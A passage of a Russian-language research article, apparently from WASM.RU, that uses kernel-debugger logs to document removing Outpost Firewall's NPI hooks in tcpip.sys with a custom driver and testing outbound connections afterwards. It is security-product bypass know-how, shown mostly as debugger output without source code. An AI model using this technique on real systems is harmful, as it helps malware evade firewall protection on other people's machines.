kd> g TCPIP.SYS image region: 0x8819F000..0x88270000 TcpTlProviderDispatch: 0x8824A8FC IoControl: 0x88220C52 (0x88220C52 real) QueryDispatch: 0x8822A004 (0x8822A004 real) Endpoint: 0x8BA86AA4 (0x881DB212 real) HOOKED by afwcore.sys Message: 0x88229FF9 (0x88229FF9 real) Listen: 0x8BA86D86 (0x881C9E59 real) HOOKED by afwcore.sys ReleaseIndicationList: 0x8BA83B60 (0x881DFCC4 real) HOOKED by afwcore.sys Cancel: 0x8BA86208 (0x881C979B real) HOOKED by afwcore.sys TcpTlProviderEndpointDispatch: 0x8824A91C CloseEndpoint: 0x8BA85BC4 (0x881DBD38 real) HOOKED by afwcore.sys IoControlEndpoint: 0x8BA85CA4 (0x881DB5E2 real) HOOKED by afwcore.sys QueryDispatchEndpoint: 0x88229FEE (0x88229FEE real) TcpTlProviderConnectDispatch: 0x8824A938 CloseEndpoint: 0x8BA859E8 (0x881E4543 real) HOOKED by afwcore.sys IoControlEndpoint: 0x881E01ED (0x881E01ED real) QueryDispatchEndpoint: 0x88229FEE (0x88229FEE real) Send: 0x8BA83E5C (0x8820E188 real) HOOKED by afwcore.sys Receive: 0x8BA84E5A (0x881D2258 real) HOOKED by afwcore.sys Disconnect: 0x8BA841DA (0x881E4886 real) HOOKED by afwcore.sys TcpTlProviderListenDispatch: 0x8824A928 CloseEndpoint: 0x8BA86012 (0x881C5C44 real) HOOKED by afwcore.sys IoControlEndpoint: 0x881B11A6 (0x881B11A6 real) QueryDispatchEndpoint: 0x88229FEE (0x88229FEE real) ResumeConnection: 0x88220C42 (0x88220C42 real) UdpTlProviderDispatch: 0x8824ACE4 IoControl: 0x88228C0B (0x88228C0B real) QueryDispatch: 0x8822A004 (0x8822A004 real) Endpoint: 0x8BA87EF2 (0x881D0152 real) HOOKED by afwcore.sys Message: 0x8BA87CC2 (0x881D06DE real) HOOKED by afwcore.sys Listen: 0x8822A093 (0x8822A093 real) ReleaseIndicationList: 0x88228BF0 (0x88228BF0 real) Cancel: 0x8822A07D (0x8822A07D real) UdpTlProviderEndpointDispatch: 0x8824AD04 CloseEndpoint: 0x8BA87760 (0x881D0B1B real) HOOKED by afwcore.sys IoControlEndpoint: 0x8BA87840 (0x881CF8BC real) HOOKED by afwcore.sys QueryDispatchEndpoint: 0x88229FEE (0x88229FEE real) UdpTlProviderMessageDispatch: 0x8824AD10 CloseEndpoint: 0x8BA87760 (0x881D0B1B real) HOOKED by afwcore.sys IoControlEndpoint: 0x8BA87840 (0x881CF8BC real) HOOKED by afwcore.sys QueryDispatchEndpoint: 0x88229FEE (0x88229FEE real) SendMessages: 0x8BA87132 (0x881EF50F real) HOOKED by afwcore.sys RawTlProviderDispatch: 0x8824AE58 IoControl: 0x8822A09E (0x8822A09E real) QueryDispatch: 0x8822A004 (0x8822A004 real) Endpoint: 0x8BA88782 (0x881BCBB0 real) HOOKED by afwcore.sys Message: 0x8BA8863E (0x881BC615 real) HOOKED by afwcore.sys Listen: 0x8822A093 (0x8822A093 real) ReleaseIndicationList: 0x88228BF0 (0x88228BF0 real) Cancel: 0x8822A07D (0x8822A07D real) RawTlProviderEndpointDispatch: 0x8824AE78 CloseEndpoint: 0x8BA88296 (0x881AF470 real) HOOKED by afwcore.sys IoControlEndpoint: 0x881BC1D6 (0x881BC1D6 real) QueryDispatchEndpoint: 0x88229FEE (0x88229FEE real) RawTlProviderMessageDispatch: 0x8824AE84 CloseEndpoint: 0x8BA88296 (0x881AF470 real) HOOKED by afwcore.sys IoControlEndpoint: 0x881BC1D6 (0x881BC1D6 real) QueryDispatchEndpoint: 0x88229FEE (0x88229FEE real) SendMessages: 0x88229350 (0x88229350 real) The NPI hooks have been cleaned successfully
Удостоверимся в снятых перехватах:
kd> dd TcpTlProviderDispatch 8824a8fc 88220c52 8822a004 881db212 88229ff9 8824a90c 881c9e59 881ddf90 881dfcc4 881c979b kd> u 88220c52 tcpip!TcpTlProviderIoControl: 88220c52 8bff mov edi,edi 88220c54 55 push ebp 88220c55 8bec mov ebp,esp 88220c57 8b450c mov eax,dword ptr [ebp+0Ch] kd> u 881ddf90 tcpip!TcpTlProviderConnect: 881ddf90 8bff mov edi,edi 881ddf92 55 push ebp 881ddf93 8bec mov ebp,esp 881ddf95 5d pop ebp 881ddf96 e97cedffff jmp tcpip!TcpCreateAndConnectTcb (881dcd17)
Ждем кое-какое время и пробуем вновь (вдруг он следит за перехватами?):
TCPIP.SYS image region: 0x8819F000..0x88270000 TcpTlProviderDispatch: 0x8824A8FC IoControl: 0x88220C52 (0x88220C52 real) QueryDispatch: 0x8822A004 (0x8822A004 real) Endpoint: 0x881DB212 (0x881DB212 real) Message: 0x88229FF9 (0x88229FF9 real) Listen: 0x881C9E59 (0x881C9E59 real) ReleaseIndicationList: 0x881DFCC4 (0x881DFCC4 real) Cancel: 0x881C979B (0x881C979B real) TcpTlProviderEndpointDispatch: 0x8824A91C CloseEndpoint: 0x881DBD38 (0x881DBD38 real) IoControlEndpoint: 0x881DB5E2 (0x881DB5E2 real) QueryDispatchEndpoint: 0x88229FEE (0x88229FEE real) TcpTlProviderConnectDispatch: 0x8824A938 CloseEndpoint: 0x881E4543 (0x881E4543 real) IoControlEndpoint: 0x881E01ED (0x881E01ED real) QueryDispatchEndpoint: 0x88229FEE (0x88229FEE real) Send: 0x8820E188 (0x8820E188 real)
Пробуем на x64 версии (Outpost Firewall Pro 2008 v6.0). Предварительные пробы:
kd> dq TcpTlProviderConnectDispatch fffffa60`00f83278 fffffa60`026e2a9c fffffa60`00ec60e0 fffffa60`00f83288 fffffa60`00ee23cc fffffa60`026e3d30 fffffa60`00f83298 fffffa60`026e3ac4 fffffa60`026e4710 kd> u fffffa60`026e2a9c *** ERROR: Module load completed but symbols could not be loaded for afw.sys afw+0xda9c: fffffa60`026e2a9c 48895c2408 mov qword ptr [rsp+8],rbx fffffa60`026e2aa1 55 push rbp fffffa60`026e2aa2 56 push rsi fffffa60`026e2aa3 57 push rdi fffffa60`026e2aa4 4883ec50 sub rsp,50h fffffa60`026e2aa8 488b0559e70200 mov rax,qword ptr [afw+0x3c208 (fffffa60`02711208)] fffffa60`026e2aaf 488bf1 mov rsi,rcx fffffa60`026e2ab2 bd010000c0 mov ebp,0C0000001h kd> u fffffa60`026e3d30 afw+0xed30: fffffa60`026e3d30 48895c2408 mov qword ptr [rsp+8],rbx fffffa60`026e3d35 48896c2410 mov qword ptr [rsp+10h],rbp fffffa60`026e3d3a 4889742420 mov qword ptr [rsp+20h],rsi fffffa60`026e3d3f 57 push rdi fffffa60`026e3d40 4883ec50 sub rsp,50h fffffa60`026e3d44 48833dd4d4020000 cmp qword ptr [afw+0x3c220 (fffffa60`02711220)],0 fffffa60`026e3d4c 488bfa mov rdi,rdx fffffa60`026e3d4f 488bd9 mov rbx,rcx kd> dq RawTlProviderMessageDispatch fffffa60`00f82e08 fffffa60`026e7d04 fffffa60`00e70000 fffffa60`00f82e18 fffffa60`00ee23cc fffffa60`00e84860 kd> u fffffa60`026e7d04 afw+0x12d04: fffffa60`026e7d04 48895c2408 mov qword ptr [rsp+8],rbx fffffa60`026e7d09 48896c2410 mov qword ptr [rsp+10h],rbp fffffa60`026e7d0e 56 push rsi fffffa60`026e7d0f 57 push rdi fffffa60`026e7d10 4154 push r12 fffffa60`026e7d12 4883ec20 sub rsp,20h fffffa60`026e7d16 4c8bc1 mov r8,rcx fffffa60`026e7d19 4c8bca mov r9,rdx
Запускаем npisubvert.sys:
TCPIP.SYS image region: 0xFFFFFA6000E67000..0xFFFFFA6000FDB000 TcpTlProviderDispatch: 0xFFFFFA6000F83200 IoControl: 0xFFFFFA6000F47430 (0xFFFFFA6000F47430 real) QueryDispatch: 0xFFFFFA6000EE23B4 (0xFFFFFA6000EE23B4 real) Endpoint: 0xFFFFFA60026E1540 (0xFFFFFA6000EC5B70 real) HOOKED by afw.sys Message: 0xFFFFFA6000EE23C0 (0xFFFFFA6000EE23C0 real) Listen: 0xFFFFFA60026E2CB4 (0xFFFFFA6000E8B420 real) HOOKED by afw.sys ReleaseIndicationList: 0xFFFFFA60026E444C (0xFFFFFA6000EC0D60 real) HOOKED by afw.sys Cancel: 0xFFFFFA60026E426C (0xFFFFFA6000F78680 real) HOOKED by afw.sys TcpTlProviderEndpointDispatch: 0xFFFFFA6000F83240 CloseEndpoint: 0xFFFFFA60026E1B90 (0xFFFFFA6000EC2010 real) HOOKED by afw.sys IoControlEndpoint: 0xFFFFFA60026E1C8C (0xFFFFFA6000EC99E0 real) HOOKED by afw.sys QueryDispatchEndpoint: 0xFFFFFA6000EE23CC (0xFFFFFA6000EE23CC real) TcpTlProviderConnectDispatch: 0xFFFFFA6000F83278 CloseEndpoint: 0xFFFFFA60026E2A9C (0xFFFFFA6000EC93E0 real) HOOKED by afw.sys IoControlEndpoint: 0xFFFFFA6000EC60E0 (0xFFFFFA6000EC60E0 real) QueryDispatchEndpoint: 0xFFFFFA6000EE23CC (0xFFFFFA6000EE23CC real) Send: 0xFFFFFA60026E3D30 (0xFFFFFA6000ED51A0 real) HOOKED by afw.sys Receive: 0xFFFFFA60026E3AC4 (0xFFFFFA6000EC0270 real) HOOKED by afw.sys Disconnect: 0xFFFFFA60026E4710 (0xFFFFFA6000EC8F40 real) HOOKED by afw.sys TcpTlProviderListenDispatch: 0xFFFFFA6000F83258 CloseEndpoint: 0xFFFFFA60026E32F4 (0xFFFFFA6000E8CF20 real) HOOKED by afw.sys IoControlEndpoint: 0xFFFFFA6000E6F680 (0xFFFFFA6000E6F680 real) QueryDispatchEndpoint: 0xFFFFFA6000EE23CC (0xFFFFFA6000EE23CC real) ResumeConnection: 0xFFFFFA6000F74740 (0xFFFFFA6000F74740 real) UdpTlProviderDispatch: 0xFFFFFA6000F82F70 IoControl: 0xFFFFFA6000F2CC10 (0xFFFFFA6000F2CC10 real) QueryDispatch: 0xFFFFFA6000EE23B4 (0xFFFFFA6000EE23B4 real) Endpoint: 0xFFFFFA60026E6108 (0xFFFFFA6000ECC850 real) HOOKED by afw.sys Message: 0xFFFFFA60026E70EC (0xFFFFFA6000EC7D40 real) HOOKED by afw.sys Listen: 0xFFFFFA6000EE23D8 (0xFFFFFA6000EE23D8 real) ReleaseIndicationList: 0xFFFFFA6000F2CBF0 (0xFFFFFA6000F2CBF0 real) Cancel: 0xFFFFFA6000EE23F0 (0xFFFFFA6000EE23F0 real) UdpTlProviderEndpointDispatch: 0xFFFFFA6000F82FB0 CloseEndpoint: 0xFFFFFA60026E6778 (0xFFFFFA6000ECD9D0 real) HOOKED by afw.sys IoControlEndpoint: 0xFFFFFA60026E6A84 (0xFFFFFA6000EC9EB0 real) HOOKED by afw.sys QueryDispatchEndpoint: 0xFFFFFA6000EE23CC (0xFFFFFA6000EE23CC real) UdpTlProviderMessageDispatch: 0xFFFFFA6000F82FC8 CloseEndpoint: 0xFFFFFA60026E6778 (0xFFFFFA6000ECD9D0 real) HOOKED by afw.sys IoControlEndpoint: 0xFFFFFA60026E6A84 (0xFFFFFA6000EC9EB0 real) HOOKED by afw.sys QueryDispatchEndpoint: 0xFFFFFA6000EE23CC (0xFFFFFA6000EE23CC real) SendMessages: 0xFFFFFA60026E68C0 (0xFFFFFA6000EACE60 real) HOOKED by afw.sys RawTlProviderDispatch: 0xFFFFFA6000F82DB0 IoControl: 0xFFFFFA6000EE23FC (0xFFFFFA6000EE23FC real) QueryDispatch: 0xFFFFFA6000EE23B4 (0xFFFFFA6000EE23B4 real) Endpoint: 0xFFFFFA60026E76FC (0xFFFFFA6000E6D190 real) HOOKED by afw.sys Message: 0xFFFFFA60026E7E4C (0xFFFFFA6000E6CFE0 real) HOOKED by afw.sys Listen: 0xFFFFFA6000EE23D8 (0xFFFFFA6000EE23D8 real) ReleaseIndicationList: 0xFFFFFA6000F2CBF0 (0xFFFFFA6000F2CBF0 real) Cancel: 0xFFFFFA6000EE23F0 (0xFFFFFA6000EE23F0 real) RawTlProviderEndpointDispatch: 0xFFFFFA6000F82DF0 CloseEndpoint: 0xFFFFFA60026E7D04 (0xFFFFFA6000F74170 real) HOOKED by afw.sys IoControlEndpoint: 0xFFFFFA6000E70000 (0xFFFFFA6000E70000 real) QueryDispatchEndpoint: 0xFFFFFA6000EE23CC (0xFFFFFA6000EE23CC real) RawTlProviderMessageDispatch: 0xFFFFFA6000F82E08 CloseEndpoint: 0xFFFFFA60026E7D04 (0xFFFFFA6000F74170 real) HOOKED by afw.sys IoControlEndpoint: 0xFFFFFA6000E70000 (0xFFFFFA6000E70000 real) QueryDispatchEndpoint: 0xFFFFFA6000EE23CC (0xFFFFFA6000EE23CC real) SendMessages: 0xFFFFFA6000E84860 (0xFFFFFA6000E84860 real)
Перехватов больше быть не должно:
kd> dq RawTlProviderMessageDispatch fffffa60`00f82e08 fffffa60`00f74170 fffffa60`00e70000 fffffa60`00f82e18 fffffa60`00ee23cc fffffa60`00e84860 kd> u fffffa60`00f74170 tcpip!RawTlProviderCloseEndpoint: fffffa60`00f74170 e99beaffff jmp tcpip!RawCloseEndpoint (fffffa60`00f72c10) kd> dq TcpTlProviderConnectDispatch fffffa60`00f83278 fffffa60`00ec93e0 fffffa60`00ec60e0 fffffa60`00f83288 fffffa60`00ee23cc fffffa60`00ed51a0 fffffa60`00f83298 fffffa60`00ec0270 fffffa60`00ec8f40 kd> u fffffa60`00ec93e0 tcpip!TcpTlConnectionCloseEndpoint: fffffa60`00ec93e0 4883ec28 sub rsp,28h fffffa60`00ec93e4 e867ffffff call tcpip!TcpCloseTcb (fffffa60`00ec9350) fffffa60`00ec93e9 b803010000 mov eax,103h fffffa60`00ec93ee 4883c428 add rsp,28h fffffa60`00ec93f2 c3 ret
Перехватов как не бывало. Проведем еще эксперимент – запускаем wsksample.sys при активном Outpost. Сразу же показывается окно защиты с сообщением о том, что процесс System рвется в сеть. Блокируем его несколько раз, получаем следующие логи:
MakeHttpRequest(): Connecting to the 74.125.45.100:80... MakeHttpRequest(): WskConnect() failed with status 0xC0000001 MakeHttpRequest(): Connecting to the 74.125.45.100:80... MakeHttpRequest(): WskConnect() failed with status 0xC0000001 MakeHttpRequest(): Connecting to the 74.125.45.100:80... MakeHttpRequest(): WskConnect() failed with status 0xC0000001
Не удивительно – уже говорилось о том, что NPI хукинг ловит WSK клиентов. Пробуем запустить npisubvert.sys:
TCPIP.SYS image region: 0xFFFFFA6000E67000..0xFFFFFA6000FDB000 TcpTlProviderDispatch: 0xFFFFFA6000F83200 IoControl: 0xFFFFFA6000F47430 (0xFFFFFA6000F47430 real) QueryDispatch: 0xFFFFFA6000EE23B4 (0xFFFFFA6000EE23B4 real) Endpoint: 0xFFFFFA60026E1540 (0xFFFFFA6000EC5B70 real) HOOKED by afw.sys Message: 0xFFFFFA6000EE23C0 (0xFFFFFA6000EE23C0 real) Listen: 0xFFFFFA60026E2CB4 (0xFFFFFA6000E8B420 real) HOOKED by afw.sys ReleaseIndicationList: 0xFFFFFA60026E444C (0xFFFFFA6000EC0D60 real) HOOKED by afw.sys Cancel: 0xFFFFFA60026E426C (0xFFFFFA6000F78680 real) HOOKED by afw.sys TcpTlProviderEndpointDispatch: 0xFFFFFA6000F83240 CloseEndpoint: 0xFFFFFA60026E1B90 (0xFFFFFA6000EC2010 real) HOOKED by afw.sys IoControlEndpoint: 0xFFFFFA60026E1C8C (0xFFFFFA6000EC99E0 real) HOOKED by afw.sys QueryDispatchEndpoint: 0xFFFFFA6000EE23CC (0xFFFFFA6000EE23CC real) TcpTlProviderConnectDispatch: 0xFFFFFA6000F83278 CloseEndpoint: 0xFFFFFA60026E2A9C (0xFFFFFA6000EC93E0 real) HOOKED by afw.sys IoControlEndpoint: 0xFFFFFA6000EC60E0 (0xFFFFFA6000EC60E0 real) QueryDispatchEndpoint: 0xFFFFFA6000EE23CC (0xFFFFFA6000EE23CC real) Send: 0xFFFFFA60026E3D30 (0xFFFFFA6000ED51A0 real) HOOKED by afw.sys Receive: 0xFFFFFA60026E3AC4 (0xFFFFFA6000EC0270 real) HOOKED by afw.sys Disconnect: 0xFFFFFA60026E4710 (0xFFFFFA6000EC8F40 real) HOOKED by afw.sys TcpTlProviderListenDispatch: 0xFFFFFA6000F83258 CloseEndpoint: 0xFFFFFA60026E32F4 (0xFFFFFA6000E8CF20 real) HOOKED by afw.sys IoControlEndpoint: 0xFFFFFA6000E6F680 (0xFFFFFA6000E6F680 real) QueryDispatchEndpoint: 0xFFFFFA6000EE23CC (0xFFFFFA6000EE23CC real) ResumeConnection: 0xFFFFFA6000F74740 (0xFFFFFA6000F74740 real)
NPI-хуки были успешно очищены.
MakeHttpRequest(): WskConnect() failed with status 0xC0000001 MakeHttpRequest(): Connecting to the 74.125.45.100:80... MakeHttpRequest(): WskConnect() failed with status 0xC00000B5 MakeHttpRequest(): Connecting to the 74.125.45.100:80... MakeHttpRequest(): WskConnect() failed with status 0xC00000B5 MakeHttpRequest(): Connecting to the 74.125.45.100:80... MakeHttpRequest(): WskConnect() failed with status 0xC00000B5 MakeHttpRequest(): Connecting to the 74.125.45.100:80... MakeHttpRequest(): WskConnect() failed with status 0xC00000B5
Если ошибка 0xC0000001 (STATUS_UNSUCCESSFUL) возникала при запрете подключения самим фаерволлом при активных NPI перехватах, то ошибка 0xC00000B5 (STATUS_IO_TIMEOUT) уже возникает при слишком долгом времени ожидания на подключение. tcpip.sys действительно пытается послать SYN пакет указанному хосту, но любая коммуникация застревает на NDIS уровне, где у Outpost располагается еще один уровень защиты. Окно фаерволла при этом не показывается.
Мораль такова: сняв перехваты на NPI уровне, мы не добьемся беспрепятственной работы с сетью для обычных приложений. К слову сказать, в NDIS 6, на котором и работает большинство фаерволлов для Windows Vista, стало намного легче снимать перехваты и обходить защиту. Ну а это, а это может послужить поводом для следующей статьи и очередного исследования. Have fun! 😉
[C] MaD
Источник WASM.RU /21.05.2009/